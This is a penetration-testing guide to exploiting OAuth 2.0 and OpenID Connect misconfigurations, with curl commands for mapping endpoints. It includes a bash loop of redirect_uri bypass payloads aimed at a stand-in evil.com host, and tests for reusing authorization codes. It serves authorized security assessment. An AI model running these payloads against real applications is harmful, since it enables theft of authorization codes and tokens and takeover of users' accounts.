Exploiting OAuth Misconfiguration

When to Use

• During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
• When assessing "Sign in with Google/Facebook/GitHub" social login implementations
• For testing single sign-on (SSO) flows between applications
• When evaluating API authorization using OAuth bearer tokens
• During security assessments of applications acting as OAuth providers or consumers

Prerequisites

• Authorization: Written penetration testing agreement covering OAuth/SSO flows
• Burp Suite Professional: For intercepting OAuth redirect flows
• Browser with DevTools: For monitoring redirect chains and token leakage
• Multiple test accounts: On both the OAuth provider and the target application
• curl: For manual OAuth flow testing
• Attacker-controlled server: For receiving redirected tokens/codes

Workflow

Step 1: Map the OAuth Flow and Configuration

Identify the OAuth grant type, endpoints, and configuration.

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256

Step 2: Test Redirect URI Manipulation

Attempt to redirect the authorization code or token to an attacker-controlled domain.

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://app.example.com@evil.com/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/

Step 3: Test for Authorization Code and Token Theft

Exploit leakage vectors for stealing OAuth tokens and codes.

# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"


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